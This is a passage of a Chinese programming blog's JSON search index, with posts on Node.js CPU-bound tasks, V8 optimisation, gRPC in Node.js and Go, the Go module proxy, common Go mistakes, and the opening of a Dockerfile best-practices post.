,执行的结果就会是下图所示: 请注意测试环境的 CPU 核心数是四个,需要说明的有两点:第一,五个任务被推送到了五个线程中去并发执行,这一点上文已经说明;第二,每个任务的耗时有了明显的增加,为什么?因为我们只有四核,但是却有五个线程,操作系统需要进行平衡调度、通过上下文切换以保证每个线程分配到相同的时间去执行任务。 ","date":"2019-09-24","objectID":"/nodejs-thread-block/:0:0","tags":["Node.js"],"title":"CPU 密集型任务会阻塞 Node.js 吗【译】","uri":"/nodejs-thread-block/"},{"categories":["Node.js"],"content":"从 V8 优化看高效 JavaScript【译】","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"文本翻译自: https://blog.logrocket.com/how-javascript-works-optimizing-the-v8-compiler-for-efficiency 理解 JavaScript 是如何工作的对于编写高效的 JS 大有帮助。 V8 执行 JS 分为三个阶段: 源代码转换为 AST 抽象语法树。 语法树转换为字节码:这个过程由 V8 的 Ignition 完成,2017年之前是没有的。 字节码编译成机器码:由 V8 的编译器 TurboFan 来完成。 第一个阶段并不是文本的讨论范围,第二三阶段对于编写优化 JS 有直接影响。 实际上第二三阶段是紧耦合的,它们都在 just-in-time( JIT )内运作。为了理解 JIT ,我们先回顾下源代码转换为机器码的两种方法: 1、解释器 解释器逐行转换和执行代码,其优点是易于实现和理解、及时反馈、更宽泛的编程环境,缺点也非常明显,那就是速度慢,慢的原因在于(1)反复解释的开销和(2)无法优化程序的各个部分。 换句话说,解释器在处理不同的代码段时无法识别重复的工作量。如果你通过解释器运行相同的代码 100 次,那么解释器将会翻译并执行相同的代码 100 次,其中不必要的重新翻译了 99 次。 解释器很简单、启动快速,但执行速度慢。 2、编译器 编译器在执行之前翻译所有的源代码。编译器更加复杂,但是可以进行全局优化(例如,共享重复代码),其执行速度也更快。 编译器更复杂、启动慢,但执行速度更快。 JIT 的作用就是尽可能结合解释器和编译器的优点,以使翻译代码和执行都能快速。 基本思想是尽可能避免重新翻译。首先,探测器通过解释器运行代码,在执行期间,探测器会追踪代码段并将其会被划分为 warm(运行少数几次) 和 hot(运行重复多次)。 JIT 把 warm 代码段直接丢给基准编译器,尽可能重用已编译的代码。 JIT 把 hot 代码段丢给优化编译器,其根据解释器收集来的信息(1)作出假设,(2)基于假设(比如,对象属性始终以特定顺序出现)进行优化。 然而,一旦假设不成立,优化编译器就会进行 deoptimization 去优化,就是丢弃优化的代码。 优化和去优化的周期是昂贵的。由于需要存储优化过的机器码和探测器的信息,JIT 引入了额外的内存成本。这种成本激发了 V8 的解释器 Ignition 。 Ignition 将 AST 转换为字节码,字节码序列被执行,其反馈信息被 inline caches 内联高速缓存。 反馈信息被用于(1)Ignition 随后的解释,和(2)TurboFan 推测性优化。 TurboFan 基于反馈推测性的优化将字节码转换为机器码。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:0:0","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"如何优化你的 JavaScript ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:0","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"1、在构造函数中声明对象属性 改变对象的属性将会导致新的隐藏类: class Point { constructor(x, y) { this.x = x; this.y = y; } } var p1 = new Point(11, 22); // hidden class Point created var p2 = new Point(33, 44); p1.z = 55; // another hidden class Point created 本来 p1 和 p2 应该使用的是同一个隐藏类,但是由于 p1.z 的原因将会导致它们使用不同的隐藏类,这将导致 TurboFan 的去优化,这是应该避免的。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:1","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"2、保持对象属性排序不变 改变对象属性的排序也将会导致新的隐藏类: const a1 = { a: 1 }; # hidden class a1 created a1.b = 3; const a2 = { b: 3 }; # different hidden class a2 created a2.a = 1; 保持对象属性的排序有利于重用相同的隐藏类,效率更高。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:2","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"3、注意函数的参数类型 函数参数类型的更改也将会导致去优化和重新优化: function add(x, y) { return x + y } add(1, 2); # monomorphic add(\"a\", \"b\"); # polymorphic add(true, false); add([], []); add({}, {}); # megamorphic 比如这个函数,由于参数类型的易变将会导致编译器无法优化。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:3","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"4、在 script 域声明类 不要在函数范围内定义类: function createPoint(x, y) { class Point { constructor(x, y) { this.x = x; this.y = y; } } return new Point(x, y); } function length(point) { ... } 这个函数每被调用一次,一个新的原型就被会创建,每个新的原型都会对应一个新的对象 shape ,这也是无法优化的。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:4","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"5、使用 for ... in for ... in 循环是 V8 引擎特别优化过的,可以快 4 到 6 倍。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:5","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"6、不相关的字符不会影响性能 早期使用的是函数的字节计数来确定是否内联函数,但是现在使用的是 AST 的节点数量来确定函数的大小。这就是说,诸如空格、注释、变量名称长度、函数签名之类的不相关字符不会影响函数的性能。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:6","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"7、Try / catch / finally 并不是毁灭性的 Try 以前会导致昂贵的优化和去优化循环,但是现在并不会导致明显的性能影响。 文本翻译有部分删减,全部内容可查看原始文章。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:7","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Golang"],"content":"微服务互通的桥梁: gRPC 入门示例","date":"2019-08-23","objectID":"/grpc/","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"RPC 是什么?Remote Procedure Call ,远程过程调用,一种通信协议。你可以理解为,在某台机器上调用另外一台机器上的服务或方法。 应用服务对外可以提供 REST 接口以供进行服务的调用,那么对于分布式系统内部的微服务之间的相互调用呢?REST 的方式仍然可行,但是效率不高,因此 RPC 出现了。 gRPC 是谷歌开源的一套 RPC 实现机制,低延迟、高性能,其基于 HTTP/2 和 Protocol Buffers 。HTTP/2 在现行 HTTP/1.1 的基础上进行了大量优化,比如由文本传输变为二进制传输,同时具有多路复用、双向流等等特点,总之就是更牛了。Protocol Buffers 是一个序列化或反序列化数据的协议,说白了就是文本数据与二进制数据之间的相互转换。 文本将会带你入门 gRPC ,并且提供 Node.js 和 Go 两个版本的示例。 ","date":"2019-08-23","objectID":"/grpc/:0:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"Protocol Buffers 服务之间相互调用需要定义统一的数据格式(比如请求和响应),同时还要声明具体的服务及其方法,因此我们首先要做的就是定义一个 .proto 后缀的文件。 示例: 1、syntax 声明使用的 protocol buffers 协议版本,现行的是第三版。 2、package 声明自定义的包名,这里的 package 可以理解为 go 中的包,或者 node.js 中的 module 。 3、message 定义数据格式,比如这里的 ReqBody 是请求的数据,响应结果则是 UserOrders ,名称都是自定义的,message 可以嵌套使用,message 内部需要定义具体的字段名称和数据类型,字段需要从 1 开始依次编号,但是枚举类型比较特别,枚举值从 0 开始编号。通过 repeated 声明某个字段可以重复,也就是这个数据是一个数组的形式。 4、service 定义服务名称,rpc 定义该服务下具体的方法,以及请求和响应的数据格式。 这个示例定义的是,我有一个服务叫 RPCService ,这个服务有一个方法叫 QueryUserOrders ,调用这个方法需要传递的请求数据的格式是 ReqBody ,响应结果的数据格式是 UserOrders 。 很简单是不是,.proto 协议文件清晰的定义了 RPC 服务、服务下的方法、请求和响应的数据格式,而 RPC 服务的客户端和服务端则将根据这个协议进行相互。 下面将会构建 RPC 服务端响应数据,以及 RPC 客户端发起请求。 ","date":"2019-08-23","objectID":"/grpc/:1:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"Node.js 版本 在 Node.js 中使用 gRPC 非常简单,我们需要依赖 grpc 和 @grpc/proto-loader 这两个官方包。 1、构建 gRPC 服务端: 如图所示,我们需要导入前面定义好的 .proto 文件,同时由于语言本身数据类型的不同,可以设置类型转换,比如将 .proto 中定义的枚举类型转换为 node.js 中的 string 类型。 gRPC 服务端需要按照 .proto 的约定,绑定服务以及实现具体的方法,同时由于其底层基于 HTTP/2 协议通信,因此还需要监听一个具体的端口并且启动这个 gRPC 服务。 2、构建 gRPC 客户端发起 RPC 调用: # --proto_path 源路径, --go_out 输出路径,一定要指明 plugins=grpc protoc --proto_path=grpc --go_out=plugins=grpc:grpc test.proto 需要注意的是,包名、服务名、方法名必须和 .proto 文件定义的保持一致。 ","date":"2019-08-23","objectID":"/grpc/:2:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"Go 版本 与 Node.js 不同的是 Go 是一个静态语言,需要先编译才能运行,因此使用 gRPC 有一点不同,我们先要去官网 https://github.com/protocolbuffers/protobuf/releases 下载并安装 protoc( protocol buffers 编译器)。 1、执行 protoc 指令: 编译 .proto 文件生成 .pb.go 代码包,在后续的使用中需要导入这个代码包。 2、构造 gRPC 服务端: 3、构建 gRPC 客户端发起 RPC 调用: protoc 编译 .proto 文件生成的 .pb.go 代码包里面包含了所有的服务、方法、数据结构等等,在我们的 go 代码中引用它们即可。 ","date":"2019-08-23","objectID":"/grpc/:3:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"结语 不论是 gRPC 的客户端还是服务端并没有限制具体的语言,这意味着你完全可以使用 node.js 客户端去调用 go 服务端,或者其它任意语言的组合。 但是 gRPC 官方当前支持的语言是有限的,只有 Android、C#、C++、Dart、Go、Java、Node、PHP、Python、Ruby、Web( js + envoy )。 其次,gRPC 并不是万能的,比如大数据集(单条消息超过 1 MB )就不适合用 gRPC ,即使你可以通过分块流式的方法来实现,但是复杂度会成倍的增加。 ","date":"2019-08-23","objectID":"/grpc/:4:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"参考资料 https://developers.google.com/protocol-buffers/docs/overview https://www.grpc.io/docs/guides https://github.com/grpc/grpc-node https://github.com/grpc/grpc-go ","date":"2019-08-23","objectID":"/grpc/:5:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"为什么你应该使用 Go module proxy","date":"2019-08-12","objectID":"/why-use-go-module-proxy/","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"自从 Go v1.11 版本之后 Go modules 成了官方的包管理方式,与此同时还有一个 Go module proxy ,它到底是个什么东西?顾名思义,其实就是个代理,所有的模块和依赖库都可以从这个代理上下载。 Go module proxy 到底有何特别之处?我们为什么应该使用它? 使用 Go modules ,如果你添加了新的依赖项或者构建了自己的模块,那么它将会基于 go.mod 文件下载( go get )所有的依赖项并且缓存起来。你可以使用 vendor 目录(将依赖项置于此目录下)以绕过缓存,同时通过 -mod=vendor 标记就可以指定使用 vendor 目录下的依赖项进行构建。然而这么做并不好。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:0:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"01 使用 vendor 目录有哪些问题: vendor 目录不再是 go 命令的默认项,你必须通过 -mode=vendor 指定。 vendor 目录占用了太多的空间,克隆时也会花费大量时间,尤其是 CI/CD 的效率很低。 vendor 更新依赖项很难 review ,而依赖项又常常与业务逻辑紧密关联,我们很难去回顾到底发生了哪些变化。 那么不使用 vendor 目录又会如何呢?这时我们又将面临如下问题: go 将尝试从源库下载依赖项,但是源库存在被删除的风险。 VCS(版本控制系统,如 github.com)可能会挂掉或无法使用,这时你也无法构建你的项目。 有些公司的内部网络对外隔离,不使用 vendor 目录对他们来说也不行。 依赖库的所有者可能通过推送相同版本的恶意内容进行破坏。要防止这种情况发生,需要将 go.sum 和 go.mod 文件一起存储。 某些依赖项可能会使用与 git 不同的 VCS ,如 hg(Mercurial)、bzr(Bazaar)、svn(Subversion),因此你不得不安装这些其他的工具,很烦。 go get 需要获取 go.mod 中每个依赖项的源代码以解决传递依赖,这显著减慢了整个构建过程,因为它必须下载(git clone)每个存储库以获取单个文件。 如何解决上述这一系列的问题?答案是使用 Go module proxy 。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:1:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"02 默认情况下,go 命令直接从 VCS 下载模块。环境变量 GOPROXY 指定使用 Go module proxy 以进一步控制下载源。 通过设置 GOPROXY ,你将会解决上述的所有问题: Go module proxy 默认缓存并永久存储所有依赖项(不可变存储),你不再需要 vendor 目录。 摆脱了 vendor 目录意味着项目不再占用 repository 空间,提高了效率。 由于依赖库以不可变的形式存储在代理中,即使源库删除,代理中的库也不会被删除,这保障依赖库的使用者。 一旦模块被存储在 Go proxy 中,就无法被覆盖或者删除,换句话说使用相同版本注入恶意代码的行为攻击将不再奏效。 你不再需要任何 VCS 工具来下载依赖项,因为你只需要通过 http 与 Go proxy 建立连接。 下载和构建将会快很多,官方团队测试的结果是快了三到六倍。 你可以轻松管理自己的代理,这可以让你更好的控制构建管道的稳定性。 综上所述,你绝对应该使用 Go module proxy 。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:2:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"03 如何使用 Go module proxy ? 你需要设置环境变量 GOPROXY : 1、如果 GOPROXY 未设置、为空、或者设置为 direct ,则 go get 将直连 VCS (如 github.com): GOPROXY=\"\" GOPROXY=direct 如果设置为 off ,则表示不允许使用网络: GOPROXY=off 2、你可以使用任意一个公共的代理 : GOPROXY=https://proxy.golang.org # 谷歌官方,大陆地区被墙了 GOPROXY=https://goproxy.io # 个人开源 GOPROXY=https://goproxy.cn # 大陆地区建议使用,七牛云托管 3、你可以基于开源方案实现本地部署: Athens: https://github.com/gomods/athens goproxy: https://github.com/goproxy/goproxy THUMBAI: https://thumbai.app/ 通过这种方式你可以构建一个公司的内部代理,与外网隔离。 4、你可以购买商业产品: Artifactory: https://jfrog.com/artifactory/ 5、你可以使用 file:/// URL ,文件系统路径也是可以直接使用的。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:3:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"04 Go v1.13 版本的相关更改: GOPROXY 可以设置为以逗号分隔的列表,如果某个地址失败将会依次尝试后面的地址。 GOPROXY 默认启动,默认值将会是 https://proxy.golang.org,direct 。direct 之后的地址将会被忽略。 GOPRIVATE 环境变量将会被推出,用于绕过 GOPROXY 中的特定路径,尤其是公司中的私有模块。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:4:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"参考资料 https://github.com/golang/go/wiki/Modules https://proxy.golang.org/ ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:5:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"Go 开发十种常犯错误【译】","date":"2019-07-29","objectID":"/top-10-mistakes/","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"文本翻译自: https://itnext.io/the-top-10-most-common-mistakes-ive-seen-in-go-projects-4b79d4f6cd65 本文将会介绍 Go 开发中十种最常犯的错误,内容不算少,请耐心观看。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:0:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"1、未知的枚举值 示例: type Status uint32 const ( StatusOpen Status = iota StatusClosed StatusUnknown ) 示例中使用了 iota 创建了枚举值,其结果就是: StatusOpen = 0 StatusClosed = 1 StatusUnknown = 2 现在假设上述 Status 类型将会作为 JSON request 的一部分: type Request struct { ID int `json:\"Id\"` Timestamp int `json:\"Timestamp\"` Status Status `json:\"Status\"` } 然后你收到的数据可能是: { \"Id\": 1234, \"Timestamp\": 1563362390, \"Status\": 0 } 这看起来似乎没有任何问题,status 将会被解码为 StatusOpen 。 但是如果另一个请求的数据是这样: { \"Id\": 1235, \"Timestamp\": 1563362390 } 这时 status 即使没有传值(也就是 unknown 未知状态),但由于默认零值,其将会被解码为 StatusOpen ,显然不符合业务语义上的 StatusUnknown 。 最佳实践是将未知的枚举值设置为 0 : type Status uint32 const ( StatusUnknown Status = iota StatusOpen StatusClosed ) ","date":"2019-07-29","objectID":"/top-10-mistakes/:1:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"2、基准测试 基准测试受到多方面的影响,因此想得到正确的结果比较困难。 最常见的一种错误情况就是被编译器优化了,例如: func clear(n uint64, i, j uint8) uint64 { return (math.MaxUint64\u003c\u003cj | ((1 \u003c\u003c i) - 1)) \u0026 n } 这个函数的作用是清除指定范围的 bit 位,基准测试可能会这样写: func BenchmarkWrong(b *testing.B) { for i := 0; i \u003c b.N; i++ { clear(1221892080809121, 10, 63) } } 在这个基准测试中,编译器将会注意到这个 clear 是一个 leaf 函数(没有调用其它函数)因此会将其 inline 。一旦这个函数被 inline 了,编译器也会注意到它没有 side-effects(副作用)。因此 clear 函数的调用将会被简单的移除从而导致不准确的结果。 解决这个问题的一种方式是将函数的返回结果设置给一个全局变量: var result uint64 func BenchmarkCorrect(b *testing.B) { var r uint64 for i := 0; i \u003c b.N; i++ { r = clear(1221892080809121, 10, 63) } result = r } 此时,编译器不知道这个函数的调用是否会产生 side-effect ,因此基准测试的结果将会是准确的。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:2:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"3、指针 按值传递变量将会创建此变量的副本(简称“值拷贝”),而通过指针传递则只会复制变量的内存地址。 因此,指针传递总是更快吗?显然不是,尤其是对于小数据而言,值拷贝更快性能更好。 原因与 Go 中的内存管理有关。让我们简单的解释一下。 变量可以被分配到 heap 或者 stack 中: stack 包含了指定 goroutine 中的将会被用到的变量。一旦函数返回,变量将会从 stack 中 pop 移除。 heap 包含了需要共享的变量(例如全局变量等)。 示例: func getFooValue() foo { var result foo // Do something return result } 这里,result 变量由当前的 goroutine 创建,并且将会被 push 到当前的 stack 中。一旦这个函数返回了,调用者将会收到 result 变量的值拷贝副本,而这个 result 变量本身将会被从 stack 中 pop 移除掉。它仍存在于内存中,直到它被另一个变量擦除,但是它无法被访问到。 现在看下指针的示例: func getFooPointer() *foo { var result foo // Do something return \u0026result } result 变量仍然由当前 goroutine 创建,但是函数的调用者将会接受的是一个指针(result 变量内存地址的副本)。如果 result 变量被从 stack 中 pop 移除,那么函数调用者显然无法再访问它。 在这种情况下,为了正常使用 result 变量,Go 编译器将会把 result 变量 escape(转移)到一个可以共享变量的位置,也就是 heap 中。 传递指针也会有另一种情况,例如: func main() { p := \u0026foo{} f(p) } 由于我们在相同的 goroutine(main 函数)中调用 f 函数,这里的 p 变量无需被 escape 到 heap 中,它只会被推送到 stack 中,并且 sub-function 也就是这里的 f 函数是可以直接访问到 p 变量的。 stack 为什么更快?主要有两个原因: stack 几乎没有垃圾回收。正如上文所述,一个变量创建后 push 到 stack 中,其函数返回后则从 stack 中 pop 掉。对于未使用的变量无需复杂的过程来回收它们。 stack 从属于一个 goroutine ,与 heap 相比,stack 中的变量不需要同步,这也导致了 stack 性能上的优势。 总之,当我们创建一个函数时,我们的默认行为应该是使用值而不是指针,只有当我们想用共享变量时才应该使用指针。 如果我们遇到性能问题,一种可能的优化就是检查指针在某些特定情况下是否有帮助。如果你想要知道编译器何时将变量 escape 到 heap ,可以使用以下命令: go build -gcflags \"-m -m\" ","date":"2019-07-29","objectID":"/top-10-mistakes/:3:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"4、从 for/switch 或 for/select 中 break 例如: for { switch f() { case true: break case false: // Do something } } for { select { case \u003c-ch: // Do something case \u003c-ctx.Done(): break } } 注意,break 将会跳出 switch 或 select ,但不会跳出 for 循环。 为了跳出 for 循环,一种解决方式是使用带标签的 break : loop: for { select { case \u003c-ch: // Do something case \u003c-ctx.Done(): break loop } } ","date":"2019-07-29","objectID":"/top-10-mistakes/:4:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"5、errors 管理 Go 中的错误处理一直以来颇具争议。 推荐使用 https://github.com/pkg/errors 库,这个库遵循如下规则: An error should be handled only once. Logging an error is handling an error. So an error should either be logged or propagated. 而当前的标准库(只有一个 New 函数)却很难去遵循这一点,因为我们可能希望为错误添加一些上下文并具有某种形式的层次结构。 假设我们在调用某个 REST 请求操作数据库时会碰到以下问题: unable to server HTTP POST request for customer 1234 |_ unable to insert customer contract abcd |_ unable to commit transaction 通过上述 pkg/errors 库,我们可以处理如下: func postHandler(customer Customer) Status { err := insert(customer.Contract) if err != nil { log.WithError(err).Errorf(\"unable to server HTTP POST request for customer %s\", customer.ID) return Status{ok: false} } return Status{ok: true} } func insert(contract Contract) error { err := dbQuery(contract) if err != nil { return errors.Wrapf(err, \"unable to insert customer contract %s\", contract.ID) } return nil } func dbQuery(contract Contract) error { // Do something then fail return errors.New(\"unable to commit transaction\") } 最底层通过 errors.New 初始化一个 error ,中间层 insert 函数向其添加更多上下文信息来包装此 error ,然后父级调用者通过记录日志来处理错误,每一层都对错误进行了返回或者处理。 我们可能还想检查错误原因以进行重试。例如我们有一个外部库 db 处理数据库访问,其可能会返回一个 db.DBError 的错误,为了实现重试,我们必须检查具体的错误原因: func postHandler(customer Customer) Status { err := insert(customer.Contract) if err != nil { switch errors.Cause(err).(type) { default: log.WithError(err).Errorf(\"unable to server HTTP POST request for customer %s\", customer.ID) return Status{ok: false} case *db.DBError: return retry(customer) } } return Status{ok: true} } func insert(contract Contract) error { err := db.dbQuery(contract) if err != nil { return errors.Wrapf(err, \"unable to insert customer contract %s\", contract.ID) } return nil } 如上所示,通过 pkg/errors 库的 errors.Cause 即可轻松实现。 一种经常会犯的错误是只部分使用 pkg/errors 库,例如: switch err.(type) { default: log.WithError(err).Errorf(\"unable to server HTTP POST request for customer %s\", customer.ID) return Status{ok: false} case *db.DBError: return retry(customer) } 这里直接使用 err.(type) 是无法捕获到 db.DBError 然后进行重试的。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:5:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"6、slice 初始化 有时候我们明确的知道一个 slice 切片的最终长度。例如我们想要将一个 Foo 切片 convert 为 Bar 切片,这意味着两个 slice 切片的长度是相同的。 然而有些人却经常初始化 slice 切片如: var bars []Bar bars := make([]Bar, 0) slice 切片并不是一个神奇的结构,当没有更多可用空间时,它会进行扩容,也就是其将会自动创建一个具有更大容量的新数组并复制所有的元素。 现在,让我们想象一下如果切片需要多次扩容,即使时间复杂度保持为 O(1) ,但在实践中,它也会对性能造成影响。尽可能避免这种情况。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:6:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"7、context 管理 context.Context 经常被开发者误解。官方文档的描述是: A Context carries a deadline, a cancelation signal, and other values across API boundaries. 这个描述很宽泛,以致于一些人对为什么以及如何使用它感到困惑。 让我们试着详细说明下,一个 context 可以包含: 一个 deadline 。其可以是持续时间(例如 250 毫秒)或者具体某个时间点(例如 2019-01-08 01:00:00),一旦达到 deadline 则所有正在进行的活动都会取消(比如 I/O 请求,等待某个 channel 输入等等)。 一个取消 signal 信号(基本上是 \u003c-chan struct{} )。这里的行为是类似的,一旦收到取消信号则必须停止正在进行中的活动。 一组 key/value(基于 interface{} 类型)。 需要说明的是,一个 context 是可组合的,例如既包含一个 deadline 又包含一组 key/value 。此外,多个 goroutine 可以共享同一个 context ,因此取消信号可能会导致多个 goroutine 中的活动被停止。 例如由同一个 context 引发的连环取消,我们要注意使用父子形式的 context ,以此来区分管理,避免相互影响。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:7:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"8、未使用 -race 测试时未使用 -race 选项也是常见的,它是有价值的工具,我们应该在测试时始终启动它。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:8:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"9、使用文件名作为输入 假设我们要实现一个函数去统计文件中的空行数,我们可能这样做: func count(filename string) (int, error) { file, err := os.Open(filename) if err != nil { return 0, errors.Wrapf(err, \"unable to open %s\", filename) } defer file.Close() scanner := bufio.NewScanner(file) count := 0 for scanner.Scan() { if scanner.Text() == \"\" { count++ } } return count, nil } 这看起来很自然,filename 文件名作为输入,在函数内部打开文件。 然而,如果我们想要对此函数进行单元测试,输入可能是普通文件,或者空文件,或者其它不同编码类型的文件等等,此时则很容易变得难以管理。另外,如果我们想对某个 HTTP body 实现相同的逻辑,那么我们不得不创建一个另外的函数。 Go 提供了两个很棒的抽象:io.Reader 和 io.Writer 。我们可以传递 io.Reader 抽象数据源而不是 filename 。这样不管是文件也好,HTTP body 也好,byte buffer 也好,我们都只需要使用 Read 方法即可。 上述例子中,我们甚至可以缓冲输入以逐行读取,因此我们可以使用 bufio.Reader 和它的 ReadLine 方法: func count(reader *bufio.Reader) (int, error) { count := 0 for { line, _, err := reader.ReadLine() if err != nil { switch err { default: return 0, errors.Wrapf(err, \"unable to read\") case io.EOF: return count, nil } } if len(line) == 0 { count++ } } } 而打开文件的操作则交由 count 的调用者去完成: file, err := os.Open(filename) if err != nil { return errors.Wrapf(err, \"unable to open %s\", filename) } defer file.Close() count, err := count(bufio.NewReader(file)) 这样,无论数据源如何我们都可以调用 count 函数,同时这有有利于我们进行单元测试,因为我们可以简单的从字符串中创建一个 bufio.Reader : count, err := count(bufio.NewReader(strings.NewReader(\"input\"))) ","date":"2019-07-29","objectID":"/top-10-mistakes/:9:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"10、Goroutines 和 Loop 循环变量 示例: ints := []int{1, 2, 3} for _, i := range ints { go func() { fmt.Printf(\"%v\\n\", i) }() } 输出将会是什么?1 2 3 吗?当然不是。 上例中,每个 goroutine 共享同一个变量实例,因此将会输出 3 3 3(最有可能)。 这个问题有两种解决方式。第一种是将 i 变量传递给 closure 闭包( inner function ): ints := []int{1, 2, 3} for _, i := range ints { go func(i int) { fmt.Printf(\"%v\\n\", i) }(i) } 第二种方式是在 for 循环范围内创建另一个变量: ints := []int{1, 2, 3} for _, i := range ints { i := i go func() { fmt.Printf(\"%v\\n\", i) }() } 以上就是全部内容,相关问题更多深入内容可参考: https://dave.cheney.net/high-performance-go-workshop/dotgo-paris.html?#watch_out_for_compiler_optimisations https://www.ardanlabs.com/blog/2017/05/language-mechanics-on-stacks-and-pointers.html https://www.youtube.com/watch?v=ZMZpH4yT7M0\u0026feature=youtu.be https://dave.cheney.net/2016/04/27/dont-just-check-errors-handle-them-gracefully http://p.agnihotry.com/post/understanding_the_context_package_in_golang/index.html https://medium.com/@val_deleplace/does-the-race-detector-catch-all-data-races-1afed51d57fb https://github.com/golang/go/wiki/CommonMistakes ","date":"2019-07-29","objectID":"/top-10-mistakes/:10:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Kubernetes"],"content":"Dockerfile 最佳实践","date":"2019-07-10","objectID":"/dockerfile-best-practice/","tags":["Docker","Kubernetes"],"title":"Dockerfile 最佳实践","uri":"/dockerfile-best-practice/"},{"categories":["Kubernetes"],"content":"Dockerfile 是用来构建 docker 镜像的配置文件,语法简单上手容易,你可以很轻松的就编写一个能正常使用的 Dockerfile ,但是它很有可能还不够好,本文将会从细节上介绍一些 tips 助你实现最佳实践。 1、注意构建顺序 FROM debian - COPY ../app RUN apt-get update RUN apt-get -y install cron vim ssh + COPY ../app 